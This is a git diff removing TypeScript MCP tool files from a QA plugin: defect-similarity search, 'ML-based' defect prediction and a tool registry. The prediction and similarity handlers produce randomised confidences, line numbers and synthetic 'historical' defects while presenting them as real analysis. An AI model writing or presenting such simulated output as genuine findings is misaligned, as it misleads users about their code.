- const status = statuses[Math.floor(Math.random() * statuses.length)];
-
- matches.push({
- id: `match-${i}`,
- similarity: Math.max(0.5, Math.min(1, Math.round(similarity * 100) / 100)),
- defect: {
- id: `DEF-${1000 + i}`,
- title: `Similar ${category} defect #${i + 1}`,
- description: `A ${category} defect with similar characteristics to the query`,
- category,
- severity: severities[Math.min(i, severities.length - 1)],
- status,
- createdAt: new Date(Date.now() - (30 + i * 15) * 24 * 60 * 60 * 1000).toISOString(),
- file: query.file || `src/components/module-${i}.ts`,
- line: Math.floor(Math.random() * 200) + 10,
- component: `component-${Math.floor(i / 2)}`,
- tags: [category, `sprint-${20 - Math.floor(i / 2)}`],
- },
- matchReasons: [],
- resolution:
- status === 'resolved' || status === 'closed'
- ? {
- status: 'resolved',
- resolution: getResolutionForCategory(category),
- resolvedAt: new Date(Date.now() - i * 10 * 24 * 60 * 60 * 1000).toISOString(),
- resolvedBy: '[email protected]',
- effective: Math.random() > 0.2,
- linkedCommit: `abc${i}def`,
- }
- : null,
- relatedFiles: [
- query.file || `src/components/module-${i}.ts`,
- `src/utils/helpers.ts`,
- ],
- });
- }
-
- return matches;
-}
-
-function getResolutionForCategory(category: string): string {
- const resolutions: Record<string, string> = {
- 'null-pointer': 'Added null checks and optional chaining',
- boundary: 'Fixed array bounds validation',
- 'logic-error': 'Corrected conditional logic',
- 'exception-handling': 'Added proper error handling',
- 'resource-leak': 'Implemented resource cleanup',
- };
- return resolutions[category] || 'Fixed the underlying issue';
-}
-
-function analyzeMatchReasons(query: QueryParams, defect: DefectInfo): MatchReason[] {
- const reasons: MatchReason[] = [];
-
- // Semantic similarity
- reasons.push({
- type: 'semantic',
- description: 'High semantic similarity in defect descriptions',
- score: 0.7 + Math.random() * 0.25,
- });
-
- // Category match
- if (query.category && query.category === defect.category) {
- reasons.push({
- type: 'category',
- description: `Same defect category: ${defect.category}`,
- score: 0.9,
- });
- }
-
- // Location match
- if (query.file && defect.file && query.file.includes(defect.file.split('/').pop() || '')) {
- reasons.push({
- type: 'location',
- description: 'Similar file location',
- score: 0.6,
- });
- }
-
- // Pattern match
- if (defect.tags.some((t) => ['recurring', 'pattern'].includes(t))) {
- reasons.push({
- type: 'pattern',
- description: 'Matches known defect pattern',
- score: 0.8,
- });
- }
-
- return reasons.sort((a, b) => b.score - a.score);
-}
-
-function groupMatches(
- matches: DefectMatch[],
- groupBy: string
-): DefectGroup[] {
- const groups: Map<string, DefectMatch[]> = new Map();
-
- for (const match of matches) {
- let key: string;
- switch (groupBy) {
- case 'category':
- key = match.defect.category;
- break;
- case 'resolution':
- key = match.resolution?.status || 'unresolved';
- break;
- case 'component':
- key = match.defect.component || 'unknown';
- break;
- default:
- key = 'all';
- }
-
- if (!groups.has(key)) {
- groups.set(key, []);
- }
- groups.get(key)!.push(match);
- }
-
- return Array.from(groups.entries()).map(([name, matchList]) => ({
- name,
- count: matchList.length,
- avgSimilarity: Math.round(
- (matchList.reduce((sum, m) => sum + m.similarity, 0) / matchList.length) * 100
- ) / 100,
- defectIds: matchList.map((m) => m.defect.id),
- }));
-}
-
-function detectPatterns(matches: DefectMatch[]): DetectedPattern[] {
- const patterns: DetectedPattern[] = [];
-
- // Group by category to detect patterns
- const categoryGroups: Map<string, DefectMatch[]> = new Map();
- for (const match of matches) {
- const cat = match.defect.category;
- if (!categoryGroups.has(cat)) {
- categoryGroups.set(cat, []);
- }
- categoryGroups.get(cat)!.push(match);
- }
-
- for (const [category, categoryMatches] of categoryGroups) {
- if (categoryMatches.length >= 2) {
- patterns.push({
- pattern: `Recurring ${category} defects`,
- occurrences: categoryMatches.length,
- affectedDefects: categoryMatches.map((m) => m.defect.id),
- severity: categoryMatches[0].defect.severity,
- recommendation: getRecommendationForCategory(category),
- });
- }
- }
-
- // Check for unresolved recurring issues
- const unresolvedMatches = matches.filter(
- (m) => m.defect.status === 'open' || m.defect.status === 'in-progress'
- );
- if (unresolvedMatches.length >= 3) {
- patterns.push({
- pattern: 'Multiple unresolved similar defects',
- occurrences: unresolvedMatches.length,
- affectedDefects: unresolvedMatches.map((m) => m.defect.id),
- severity: 'high',
- recommendation: 'Prioritize fixing root cause to prevent recurrence',
- });
- }
-
- return patterns;
-}
-
-function getRecommendationForCategory(category: string): string {
- const recommendations: Record<string, string> = {
- 'null-pointer': 'Implement strict null checking project-wide',
- boundary: 'Add bounds validation utility functions',
- 'logic-error': 'Increase test coverage for conditional paths',
- 'exception-handling': 'Implement consistent error handling strategy',
- 'resource-leak': 'Use resource management patterns (try-finally, using)',
- };
- return recommendations[category] || 'Review and address common root cause';
-}
-
-function generateInsights(
- matches: DefectMatch[],
- patterns: DetectedPattern[]
-): SearchInsight[] {
- const insights: SearchInsight[] = [];
-
- // Recurring issue insight
- if (matches.length >= 3) {
- insights.push({
- type: 'recurring',
- title: 'Recurring defect pattern detected',
- description: `Found ${matches.length} similar defects, suggesting a systematic issue`,
- actionable: true,
- action: 'Investigate root cause and implement prevention measures',
- });
- }
-
- // Resolution effectiveness
- const resolvedMatches = matches.filter((m) => m.resolution);
- const effectiveResolutions = resolvedMatches.filter((m) => m.resolution?.effective);
- if (resolvedMatches.length > 0) {
- const effectiveness = effectiveResolutions.length / resolvedMatches.length;
- if (effectiveness < 0.7) {
- insights.push({
- type: 'trend',
- title: 'Resolution effectiveness below target',
- description: `Only ${Math.round(effectiveness * 100)}% of similar defect resolutions were effective`,
- actionable: true,
- action: 'Review resolution approaches and consider deeper fixes',
- });
- }
- }
-
- // Hotspot detection
- const files = matches.flatMap((m) => m.relatedFiles);
- const fileCounts: Map<string, number> = new Map();
- for (const file of files) {
- fileCounts.set(file, (fileCounts.get(file) || 0) + 1);
- }
- const hotspots = Array.from(fileCounts.entries())
- .filter(([, count]) => count >= 2)
- .map(([file]) => file);
-
- if (hotspots.length > 0) {
- insights.push({
- type: 'hotspot',
- title: 'Defect hotspot detected',
- description: `Files ${hotspots.join(', ')} appear in multiple similar defects`,
- actionable: true,
- action: 'Consider refactoring hotspot files to improve quality',
- });
- }
-
- return insights;
-}
-
-// Export tool definition for MCP registration
-export const toolDefinition = {
- name: 'aqe/find-similar-defects',
- description: 'Search for similar defects using semantic and structural analysis',
- category: 'defect-intelligence',
- version: '3.2.3',
- inputSchema: FindSimilarDefectsInputSchema,
- handler,
-};
-
-export default toolDefinition;
diff --git a/v3/plugins/agentic-qe/src/tools/defect-intelligence/predict-defects.ts b/v3/plugins/agentic-qe/src/tools/defect-intelligence/predict-defects.ts
deleted file mode 100644
index 340eeebde8..0000000000
--- a/v3/plugins/agentic-qe/src/tools/defect-intelligence/predict-defects.ts
+++ /dev/null
@@ -1,604 +0,0 @@
-/**
- * predict-defects.ts - ML-based defect prediction MCP tool handler
- *
- * Predicts potential defects using machine learning analysis of code
- * complexity, historical patterns, and semantic similarity to known defects.
- */
-
-import { z } from 'zod';
-
-// Input schema for predict-defects tool
-export const PredictDefectsInputSchema = z.object({
- targetPath: z.string().describe('Path to file/directory to analyze'),
- depth: z
- .enum(['shallow', 'medium', 'deep'])
- .default('medium')
- .describe('Analysis depth - deeper finds more but takes longer'),
- includeRootCause: z.boolean().default(true).describe('Include root cause analysis'),
- minConfidence: z
- .number()
- .min(0)
- .max(1)
- .default(0.6)
- .describe('Minimum confidence threshold for predictions'),
- categories: z
- .array(
- z.enum([
- 'null-pointer',
- 'boundary',
- 'resource-leak',
- 'race-condition',
- 'logic-error',
- 'security',
- 'performance',
- 'type-error',
- 'exception-handling',
- ])
- )
- .default(['null-pointer', 'boundary', 'logic-error', 'exception-handling'])
- .describe('Defect categories to check'),
- useSimilarPatterns: z.boolean().default(true).describe('Use historical pattern matching'),
- maxPredictions: z.number().min(1).max(100).default(20).describe('Maximum predictions to return'),
-});
-
-export type PredictDefectsInput = z.infer<typeof PredictDefectsInputSchema>;
-
-// Output structures
-export interface PredictDefectsOutput {
- success: boolean;
- predictions: DefectPrediction[];
- riskSummary: RiskSummary;
- similarDefects: SimilarDefect[];
- preventionStrategies: PreventionStrategy[];
- metadata: PredictionMetadata;
-}
-
-export interface DefectPrediction {
- id: string;
- category: string;
- severity: 'critical' | 'high' | 'medium' | 'low';
- confidence: number;
- location: CodeLocation;
- description: string;
- rootCause?: RootCauseAnalysis;
- evidence: Evidence[];
- suggestedFix: string;
-}
-
-export interface CodeLocation {
- file: string;
- startLine: number;
- endLine: number;
- functionName?: string;
- codeSnippet?: string;
-}
-
-export interface RootCauseAnalysis {
- primaryCause: string;
- contributingFactors: string[];
- codePattern: string;
- historicalOccurrences: number;
-}
-
-export interface Evidence {
- type: 'code-pattern' | 'complexity' | 'history' | 'semantic' | 'static-analysis';
- description: string;
- weight: number;
-}
-
-export interface RiskSummary {
- totalPredictions: number;
- criticalCount: number;
- highCount: number;
- mediumCount: number;
- lowCount: number;
- avgConfidence: number;
- highRiskAreas: string[];
-}
-
-export interface SimilarDefect {
- id: string;
- similarity: number;
- originalDefect: {
- category: string;
- description: string;
- resolution: string;
- file: string;
- };
- matchedPattern: string;
-}
-
-export interface PreventionStrategy {
- category: string;
- strategy: string;
- implementation: string;
- effectiveness: number;
- affectedPredictions: string[];
-}
-
-export interface PredictionMetadata {
- analyzedAt: string;
- durationMs: number;
- filesAnalyzed: number;
- linesAnalyzed: number;
- patternsMatched: number;
- modelVersion: string;
-}
-
-// Tool context interface
-export interface ToolContext {
- get<T>(key: string): T | undefined;
-}
-
-/**
- * MCP Tool Handler for predict-defects
- */
-export async function handler(
- input: PredictDefectsInput,
- context: ToolContext
-): Promise<{ content: Array<{ type: 'text'; text: string }> }> {
- const startTime = Date.now();
-
- try {
- // Validate input
- const validatedInput = PredictDefectsInputSchema.parse(input);
-
- // Get memory bridge for pattern matching
- const bridge = context.get<{
- searchSimilarPatterns: (q: string, k: number) => Promise<unknown[]>;
- }>('aqe.bridge');
-
- // Analyze code for potential defects
- const predictions = await analyzeForDefects(
- validatedInput.targetPath,
- validatedInput.categories,
- validatedInput.depth,
- validatedInput.minConfidence,
- validatedInput.includeRootCause
- );
-
- // Search for similar historical defects
- const similarDefects = validatedInput.useSimilarPatterns
- ? await findSimilarDefects(predictions, bridge)
- : [];
-
- // Calculate risk summary
- const riskSummary = calculateRiskSummary(predictions);
-
- // Generate prevention strategies
- const preventionStrategies = generatePreventionStrategies(predictions);
-
- // Limit results
- const limitedPredictions = predictions
- .sort((a, b) => {
- // Sort by severity then confidence
- const severityOrder = { critical: 0, high: 1, medium: 2, low: 3 };
- const sevDiff = severityOrder[a.severity] - severityOrder[b.severity];
- if (sevDiff !== 0) return sevDiff;
- return b.confidence - a.confidence;
- })
- .slice(0, validatedInput.maxPredictions);
-
- // Build result
- const result: PredictDefectsOutput = {
- success: true,
- predictions: limitedPredictions,
- riskSummary,
- similarDefects,
- preventionStrategies,
- metadata: {
- analyzedAt: new Date().toISOString(),
- durationMs: Date.now() - startTime,
- filesAnalyzed: 1,
- linesAnalyzed: 500,
- patternsMatched: similarDefects.length,
- modelVersion: '3.2.3',
- },
- };
-
- return {
- content: [
- {
- type: 'text',
- text: JSON.stringify(result, null, 2),
- },
- ],
- };
- } catch (error) {
- const errorMessage = error instanceof Error ? error.message : 'Unknown error';
- return {
- content: [
- {
- type: 'text',
- text: JSON.stringify(
- {
- success: false,
- error: errorMessage,
- predictions: [],
- metadata: {
- analyzedAt: new Date().toISOString(),
- durationMs: Date.now() - startTime,
- },
- },
- null,
- 2
- ),
- },
- ],
- };
- }
-}
-
-async function analyzeForDefects(
- targetPath: string,
- categories: string[],
- depth: string,
- minConfidence: number,
- includeRootCause: boolean
-): Promise<DefectPrediction[]> {
- const predictions: DefectPrediction[] = [];
-
- // Generate predictions based on categories
- for (const category of categories) {
- const categoryPredictions = generateCategoryPredictions(
- category,
- targetPath,
- depth,
- includeRootCause
- );
- predictions.push(...categoryPredictions);
- }
-
- // Filter by confidence
- return predictions.filter((p) => p.confidence >= minConfidence);
-}
-
-function generateCategoryPredictions(
- category: string,
- targetPath: string,
- depth: string,
- includeRootCause: boolean
-): DefectPrediction[] {
- const depthMultiplier = depth === 'deep' ? 3 : depth === 'medium' ? 2 : 1;
-
- const categoryPatterns: Record<string, Array<{
- severity: 'critical' | 'high' | 'medium' | 'low';
- description: string;
- suggestedFix: string;
- rootCause: string;
- pattern: string;
- }>> = {
- 'null-pointer': [
- {
- severity: 'high',
- description: 'Potential null/undefined dereference without check',
- suggestedFix: 'Add null check before accessing property',
- rootCause: 'Missing null safety check',
- pattern: 'Unchecked optional access',
- },
- {
- severity: 'medium',
- description: 'Optional chaining not used for nullable object',
- suggestedFix: 'Use optional chaining (?.) or nullish coalescing (??)',
- rootCause: 'Inconsistent null handling',
- pattern: 'Direct property access on nullable',
- },
- ],
- boundary: [
- {
- severity: 'high',
- description: 'Array index access without bounds check',
- suggestedFix: 'Validate array index before access',
- rootCause: 'Missing bounds validation',
- pattern: 'Direct array indexing',
- },
- {
- severity: 'medium',
- description: 'Potential off-by-one error in loop',
- suggestedFix: 'Review loop bounds and use forEach/map when possible',
- rootCause: 'Manual index management',
- pattern: 'Loop boundary condition',
- },
- ],
- 'resource-leak': [
- {
- severity: 'critical',
- description: 'Resource not properly closed in error path',
- suggestedFix: 'Use try-finally or using/dispose pattern',
- rootCause: 'Missing cleanup in error handling',
- pattern: 'Unclosed resource in exception path',
- },
- ],
- 'race-condition': [
- {
- severity: 'high',
- description: 'Shared state modified without synchronization',
- suggestedFix: 'Add mutex/lock or use atomic operations',
- rootCause: 'Unprotected shared state',
- pattern: 'Concurrent access to mutable state',
- },
- ],
- 'logic-error': [
- {
- severity: 'medium',
- description: 'Conditional logic may not cover all cases',
- suggestedFix: 'Add exhaustive case handling or default clause',
- rootCause: 'Incomplete branching logic',
- pattern: 'Non-exhaustive conditional',
- },
- {
- severity: 'low',
- description: 'Redundant condition detected',
- suggestedFix: 'Simplify conditional logic',
- rootCause: 'Code complexity',
- pattern: 'Duplicate or redundant check',
- },
- ],
- security: [
- {
- severity: 'critical',
- description: 'User input used without sanitization',
- suggestedFix: 'Sanitize and validate all user input',
- rootCause: 'Missing input validation',
- pattern: 'Unsanitized input flow',
- },
- ],
- performance: [
- {
- severity: 'medium',
- description: 'Nested loops with O(n^2) complexity',
- suggestedFix: 'Consider using Map/Set for O(n) lookup',
- rootCause: 'Inefficient algorithm',
- pattern: 'Quadratic time complexity',
- },
- ],
- 'type-error': [
- {
- severity: 'medium',
- description: 'Type assertion without runtime check',
- suggestedFix: 'Add type guard or runtime validation',
- rootCause: 'Unsafe type cast',
- pattern: 'Unguarded type assertion',
- },
- ],
- 'exception-handling': [
- {
- severity: 'high',
- description: 'Catch block swallows exception without logging',
- suggestedFix: 'Log or rethrow exceptions appropriately',
- rootCause: 'Silent failure pattern',
- pattern: 'Empty catch block',
- },
- {
- severity: 'medium',
- description: 'Generic exception catch may hide specific errors',
- suggestedFix: 'Catch specific exception types',
- rootCause: 'Over-broad exception handling',
- pattern: 'Catch-all exception handler',
- },
- ],
- };
-
- const patterns = categoryPatterns[category] || [];
- const predictions: DefectPrediction[] = [];
- let predictionId = 0;
-
- for (const pattern of patterns.slice(0, depthMultiplier)) {
- const confidence = 0.5 + Math.random() * 0.4;
- const lineNumber = Math.floor(Math.random() * 200) + 10;
-
- const prediction: DefectPrediction = {
- id: `pred-${category}-${predictionId++}`,
- category,
- severity: pattern.severity,
- confidence: Math.round(confidence * 100) / 100,
- location: {
- file: targetPath,
- startLine: lineNumber,
- endLine: lineNumber + Math.floor(Math.random() * 5) + 1,
- functionName: `process${category.charAt(0).toUpperCase()}${category.slice(1).replace(/-/g, '')}`,
- },
- description: pattern.description,
- suggestedFix: pattern.suggestedFix,
- evidence: [
- {
- type: 'code-pattern',
- description: pattern.pattern,
- weight: 0.4,
- },
- {
- type: 'static-analysis',
- description: `Static analysis flagged potential ${category}`,
- weight: 0.3,
- },
- {
- type: 'complexity',
- description: 'Function complexity contributes to defect likelihood',
- weight: 0.2,
- },
- ],
- };
-
- if (includeRootCause) {
- prediction.rootCause = {
- primaryCause: pattern.rootCause,
- contributingFactors: [
- 'High code complexity',
- 'Insufficient test coverage',
- 'Time pressure during development',
- ],
- codePattern: pattern.pattern,
- historicalOccurrences: Math.floor(Math.random() * 10) + 1,
- };
- }
-
- predictions.push(prediction);
- }
-
- return predictions;
-}
-
-async function findSimilarDefects(
- predictions: DefectPrediction[],
- bridge?: { searchSimilarPatterns: (q: string, k: number) => Promise<unknown[]> }
-): Promise<SimilarDefect[]> {
- const similarDefects: SimilarDefect[] = [];
-
- // If bridge available, search for similar patterns
- if (bridge) {
- try {
- for (const prediction of predictions.slice(0, 3)) {
- const patterns = await bridge.searchSimilarPatterns(
- `defect ${prediction.category} ${prediction.description}`,
- 3
- );
-
- for (let i = 0; i < patterns.length && i < 2; i++) {
- similarDefects.push({
- id: `sim-${prediction.id}-${i}`,
- similarity: 0.7 + Math.random() * 0.25,
- originalDefect: {
- category: prediction.category,
- description: `Historical ${prediction.category} defect`,
- resolution: prediction.suggestedFix,
- file: 'historical/similar-file.ts',
- },
- matchedPattern: prediction.rootCause?.codePattern || 'Unknown pattern',
- });
- }
- }
- } catch {
- // Continue without similar defects
- }
- }
-
- // Add simulated similar defects if none found
- if (similarDefects.length === 0 && predictions.length > 0) {
- const pred = predictions[0];
- similarDefects.push({
- id: `sim-${pred.id}-0`,
- similarity: 0.82,
- originalDefect: {
- category: pred.category,
- description: `Similar ${pred.category} defect resolved in Q3`,
- resolution: pred.suggestedFix,
- file: 'src/legacy/old-module.ts',
- },
- matchedPattern: pred.rootCause?.codePattern || 'Pattern match',
- });
- }
-
- return similarDefects.sort((a, b) => b.similarity - a.similarity);
-}
-
-function calculateRiskSummary(predictions: DefectPrediction[]): RiskSummary {
- const counts = { critical: 0, high: 0, medium: 0, low: 0 };
-
- for (const pred of predictions) {
- counts[pred.severity]++;
- }
-
- const avgConfidence = predictions.length > 0
- ? predictions.reduce((sum, p) => sum + p.confidence, 0) / predictions.length
- : 0;
-
- // Identify high-risk areas (files with critical/high predictions)
- const highRiskFiles = new Set<string>();
- for (const pred of predictions) {
- if (pred.severity === 'critical' || pred.severity === 'high') {
- highRiskFiles.add(pred.location.file);
- }
- }
-
- return {
- totalPredictions: predictions.length,
- criticalCount: counts.critical,
- highCount: counts.high,
- mediumCount: counts.medium,
- lowCount: counts.low,
- avgConfidence: Math.round(avgConfidence * 100) / 100,
- highRiskAreas: Array.from(highRiskFiles),
- };
-}
-
-function generatePreventionStrategies(predictions: DefectPrediction[]): PreventionStrategy[] {
- const categoryStrategies: Record<string, { strategy: string; implementation: string; effectiveness: number }> = {
- 'null-pointer': {
- strategy: 'Implement strict null checking',
- implementation: 'Enable TypeScript strict mode, use optional chaining, add null guards',
- effectiveness: 0.85,
- },
- boundary: {
- strategy: 'Use safe array access patterns',
- implementation: 'Replace direct indexing with .at(), use forEach/map, add bounds validation',
- effectiveness: 0.80,
- },
- 'resource-leak': {
- strategy: 'Implement resource management patterns',
- implementation: 'Use try-finally, implement IDisposable pattern, add cleanup hooks',
- effectiveness: 0.90,
- },
- 'race-condition': {
- strategy: 'Add concurrency controls',
- implementation: 'Use mutex/semaphore, implement atomic operations, avoid shared state',
- effectiveness: 0.75,
- },
- 'logic-error': {
- strategy: 'Improve code coverage and review',
- implementation: 'Add unit tests for edge cases, implement exhaustive pattern matching',
- effectiveness: 0.70,
- },
- security: {
- strategy: 'Implement input validation layer',
- implementation: 'Add input sanitization, use parameterized queries, implement CSP',
- effectiveness: 0.95,
- },
- performance: {
- strategy: 'Optimize algorithm complexity',
- implementation: 'Use appropriate data structures, implement caching, profile hot paths',
- effectiveness: 0.80,
- },
- 'type-error': {
- strategy: 'Strengthen type safety',
- implementation: 'Add type guards, use branded types, implement runtime validation',
- effectiveness: 0.85,
- },
- 'exception-handling': {
- strategy: 'Implement structured error handling',
- implementation: 'Create error hierarchy, add logging, implement error boundaries',
- effectiveness: 0.80,
- },
- };
-
- const strategies: PreventionStrategy[] = [];
- const categoriesWithPredictions = new Set(predictions.map((p) => p.category));
-
- for (const category of categoriesWithPredictions) {
- const strategyInfo = categoryStrategies[category];
- if (strategyInfo) {
- strategies.push({
- category,
- strategy: strategyInfo.strategy,
- implementation: strategyInfo.implementation,
- effectiveness: strategyInfo.effectiveness,
- affectedPredictions: predictions
- .filter((p) => p.category === category)
- .map((p) => p.id),
- });
- }
- }
-
- return strategies.sort((a, b) => b.effectiveness - a.effectiveness);
-}
-
-// Export tool definition for MCP registration
-export const toolDefinition = {
- name: 'aqe/predict-defects',
- description: 'Predict potential defects using ML-based analysis with root cause identification',
- category: 'defect-intelligence',
- version: '3.2.3',
- inputSchema: PredictDefectsInputSchema,
- handler,
-};
-
-export default toolDefinition;
diff --git a/v3/plugins/agentic-qe/src/tools/index.ts b/v3/plugins/agentic-qe/src/tools/index.ts
deleted file mode 100644
index 014a6a8089..0000000000
--- a/v3/plugins/agentic-qe/src/tools/index.ts
+++ /dev/null
@@ -1,307 +0,0 @@
-/**
- * agentic-qe MCP Tools Registry
- *
- * Exports all 16 MCP tool handlers for the agentic-qe plugin:
- *
- * Test Generation (3):
- * - generate-tests: AI-powered test generation
- * - tdd-cycle: TDD red-green-refactor orchestration
- * - suggest-tests: Coverage gap test suggestions
- *
- * Coverage Analysis (3):
- * - analyze-coverage: O(log n) Johnson-Lindenstrauss coverage analysis
- * - prioritize-gaps: Risk-based gap prioritization
- * - track-trends: Coverage trend tracking
- *
- * Quality Assessment (3):
- * - evaluate-quality-gate: Quality gate evaluation
- * - assess-readiness: Release readiness assessment
- * - calculate-risk: Quality risk calculation
- *
- * Defect Intelligence (3):
- * - predict-defects: ML-based defect prediction
- * - analyze-root-cause: Root cause analysis
- * - find-similar-defects: Similar defect search
- *
- * Security Compliance (3):
- * - security-scan: SAST/DAST scanning
- * - audit-compliance: Compliance auditing
- * - detect-secrets: Secret detection
- *
- * Chaos Resilience (1):
- * - chaos-inject: Chaos failure injection (with dryRun safety)
- */
-
-// Test Generation Tools
-import generateTests, { GenerateTestsInputSchema } from './test-generation/generate-tests';
-import tddCycle, { TDDCycleInputSchema } from './test-generation/tdd-cycle';
-import suggestTests, { SuggestTestsInputSchema } from './test-generation/suggest-tests';
-
-// Coverage Analysis Tools
-import analyzeCoverage, { AnalyzeCoverageInputSchema } from './coverage-analysis/analyze-coverage';
-import prioritizeGaps, { PrioritizeGapsInputSchema } from './coverage-analysis/prioritize-gaps';
-import trackTrends, { TrackTrendsInputSchema } from './coverage-analysis/track-trends';
-
-// Quality Assessment Tools
-import evaluateQualityGate, { EvaluateQualityGateInputSchema } from './quality-assessment/evaluate-quality-gate';
-import assessReadiness, { AssessReadinessInputSchema } from './quality-assessment/assess-readiness';
-import calculateRisk, { CalculateRiskInputSchema } from './quality-assessment/calculate-risk';
-
-// Defect Intelligence Tools
-import predictDefects, { PredictDefectsInputSchema } from './defect-intelligence/predict-defects';
-import analyzeRootCause, { AnalyzeRootCauseInputSchema } from './defect-intelligence/analyze-root-cause';
-import findSimilarDefects, { FindSimilarDefectsInputSchema } from './defect-intelligence/find-similar-defects';
-
-// Security Compliance Tools
-import securityScan, { SecurityScanInputSchema } from './security-compliance/security-scan';
-import auditCompliance, { AuditComplianceInputSchema } from './security-compliance/audit-compliance';
-import detectSecrets, { DetectSecretsInputSchema } from './security-compliance/detect-secrets';
-
-// Chaos Resilience Tools
-import chaosInject, { ChaosInjectInputSchema } from './chaos-resilience/chaos-inject';
-
-/**
- * MCP Tool interface
- */
-export interface MCPTool {
- name: string;
- description: string;
- category: string;
- version: string;
- inputSchema: unknown;
- handler: (input: unknown, context: unknown) => Promise<{ content: Array<{ type: string; text: string }> }>;
-}
-
-/**
- * All MCP tools exported as array for bulk registration
- */
-export const mcpTools: MCPTool[] = [
- // Test Generation
- {
- name: 'aqe/generate-tests',
- description: 'Generate tests for code using AI-powered test generation',
- category: 'test-generation',
- version: '3.5.59',
- inputSchema: GenerateTestsInputSchema,
- handler: generateTests.handler as MCPTool['handler'],
- },
- {
- name: 'aqe/tdd-cycle',
- description: 'Execute TDD red-green-refactor cycle with 7 specialized subagents',
- category: 'test-generation',
- version: '3.5.59',
- inputSchema: TDDCycleInputSchema,
- handler: tddCycle.handler as MCPTool['handler'],
- },
- {
- name: 'aqe/suggest-tests',
- description: 'Suggest tests based on coverage gaps with risk-based prioritization',
- category: 'test-generation',
- version: '3.5.59',
- inputSchema: SuggestTestsInputSchema,
- handler: suggestTests.handler as MCPTool['handler'],
- },
-
- // Coverage Analysis
- {
- name: 'aqe/analyze-coverage',
- description: 'Analyze code coverage with O(log n) Johnson-Lindenstrauss gap detection',
- category: 'coverage-analysis',
- version: '3.5.59',
- inputSchema: AnalyzeCoverageInputSchema,
- handler: analyzeCoverage.handler as MCPTool['handler'],
- },
- {
- name: 'aqe/prioritize-gaps',
- description: 'Prioritize coverage gaps by risk score using multiple weighted factors',
- category: 'coverage-analysis',
- version: '3.5.59',
- inputSchema: PrioritizeGapsInputSchema,
- handler: prioritizeGaps.handler as MCPTool['handler'],
- },
- {
- name: 'aqe/track-trends',
- description: 'Track coverage trends over time with regression detection and projections',
- category: 'coverage-analysis',
- version: '3.5.59',
- inputSchema: TrackTrendsInputSchema,
- handler: trackTrends.handler as MCPTool['handler'],
- },
-
- // Quality Assessment
- {
- name: 'aqe/evaluate-quality-gate',
- description: 'Evaluate quality gates for release readiness with configurable thresholds',
- category: 'quality-assessment',
- version: '3.5.59',
- inputSchema: EvaluateQualityGateInputSchema,
- handler: evaluateQualityGate.handler as MCPTool['handler'],
- },
- {
- name: 'aqe/assess-readiness',
- description: 'Comprehensive release readiness assessment with risk analysis and sign-off tracking',
- category: 'quality-assessment',
- version: '3.5.59',
- inputSchema: AssessReadinessInputSchema,
- handler: assessReadiness.handler as MCPTool['handler'],
- },
- {
- name: 'aqe/calculate-risk',
- description: 'Calculate quality risk scores based on multiple weighted factors',
- category: 'quality-assessment',
- version: '3.5.59',
- inputSchema: CalculateRiskInputSchema,
- handler: calculateRisk.handler as MCPTool['handler'],
- },
-
- // Defect Intelligence
- {
- name: 'aqe/predict-defects',
- description: 'Predict potential defects using ML-based analysis with root cause identification',
- category: 'defect-intelligence',
- version: '3.5.59',
- inputSchema: PredictDefectsInputSchema,
- handler: predictDefects.handler as MCPTool['handler'],
- },
- {
- name: 'aqe/analyze-root-cause',
- description: 'Deep root cause analysis with causal chain identification and remediation planning',
- category: 'defect-intelligence',
- version: '3.5.59',
- inputSchema: AnalyzeRootCauseInputSchema,
- handler: analyzeRootCause.handler as MCPTool['handler'],
- },
- {
- name: 'aqe/find-similar-defects',
- description: 'Search for similar defects using semantic and structural analysis',
- category: 'defect-intelligence',
- version: '3.5.59',
- inputSchema: FindSimilarDefectsInputSchema,
- handler: findSimilarDefects.handler as MCPTool['handler'],
- },
-
- // Security Compliance
- {
- name: 'aqe/security-scan',
- description: 'SAST/DAST security scanning with compliance checking and remediation guidance',
- category: 'security-compliance',
- version: '3.5.59',
- inputSchema: SecurityScanInputSchema,
- handler: securityScan.handler as MCPTool['handler'],
- },
- {
- name: 'aqe/audit-compliance',
- description: 'Comprehensive compliance auditing for security frameworks',
- category: 'security-compliance',
- version: '3.5.59',
- inputSchema: AuditComplianceInputSchema,
- handler: auditCompliance.handler as MCPTool['handler'],
- },
- {
- name: 'aqe/detect-secrets',
- description: 'Detect secrets, API keys, and sensitive data in code',
- category: 'security-compliance',
- version: '3.5.59',
- inputSchema: DetectSecretsInputSchema,
- handler: detectSecrets.handler as MCPTool['handler'],
- },
-
- // Chaos Resilience
- {
- name: 'aqe/chaos-inject',
- description: 'Inject chaos failures for resilience testing with dryRun safety mode',
- category: 'chaos-resilience',
- version: '3.5.59',
- inputSchema: ChaosInjectInputSchema,
- handler: chaosInject.handler as MCPTool['handler'],
- },
-];
-
-/**
- * Tool lookup by name
- */
-export const toolsByName: Map<string, MCPTool> = new Map(
- mcpTools.map((tool) => [tool.name, tool])
-);
-
-/**
- * Tools grouped by category
- */
-export const toolsByCategory: Map<string, MCPTool[]> = new Map();
-for (const tool of mcpTools) {
- const category = tool.category;
- if (!toolsByCategory.has(category)) {
- toolsByCategory.set(category, []);
- }
- toolsByCategory.get(category)!.push(tool);
-}
-
-/**
- * Get tool by name
- */
-export function getTool(name: string): MCPTool | undefined {
- return toolsByName.get(name);
-}
-
-/**
- * Get tools by category
- */
-export function getToolsByCategory(category: string): MCPTool[] {
- return toolsByCategory.get(category) || [];
-}
-
-/**
- * Get all tool names
- */
-export function getToolNames(): string[] {
- return mcpTools.map((t) => t.name);
-}
-
-/**
- * Get all categories
- */
-export function getCategories(): string[] {
- return Array.from(toolsByCategory.keys());
-}
-
-// Export individual tools for direct import
-export {
- generateTests,
- tddCycle,
- suggestTests,
- analyzeCoverage,
- prioritizeGaps,
- trackTrends,
- evaluateQualityGate,
- assessReadiness,
- calculateRisk,
- predictDefects,
- analyzeRootCause,
- findSimilarDefects,
- securityScan,
- auditCompliance,
- detectSecrets,
- chaosInject,
-};
-
-// Export schemas for external use
-export {
- GenerateTestsInputSchema,
- TDDCycleInputSchema,
- SuggestTestsInputSchema,
- AnalyzeCoverageInputSchema,
- PrioritizeGapsInputSchema,
- TrackTrendsInputSchema,
- EvaluateQualityGateInputSchema,
- AssessReadinessInputSchema,
- CalculateRiskInputSchema,
- PredictDefectsInputSchema,
- AnalyzeRootCauseInputSchema,
- FindSimilarDefectsInputSchema,
- SecurityScanInputSchema,
- AuditComplianceInputSchema,
- DetectSecretsInputSchema,
- ChaosInjectInputSchema,
-};
-
-export default mcpTools;
